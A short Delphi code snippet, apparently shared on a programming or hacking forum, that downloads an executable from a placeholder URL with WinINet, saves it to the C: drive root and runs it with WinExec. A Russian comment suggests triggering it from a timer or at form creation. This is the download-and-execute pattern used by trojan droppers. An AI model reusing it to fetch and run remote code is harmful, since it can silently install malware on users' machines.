// можно в таймер его или formcreate
begin
Hinternet:=nil;
Hinternet:= InternetOpen('SmplWinIntDwn',0,0,0,0);
HFiles:=InternetOpenUrl(Hinternet,'http://then address to your file/YOURFILE.exe',
0,0,0,0);
HF:= CreateFile('C:\YOURFILE.exe',GENERIC_WRITE,FILE_SHARE_READ,Nil,
OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
GetMem(Buf,BTR);
repeat
InternetReadFile(HFiles,Buf,BTR,SizeBuf);
WriteFile(HF,Buf^,SizeBuf,RWfil,0);
until SizeBuf = 0;
CloseHandle(HF);
InternetCloseHandle(Hinternet);
HF:=INVALID_HANDLE_VALUE;
FreeMem(Buf);
WinExec('c:\YOURFILE.exe',SW_SHOW);
end;

// Coded by Appo //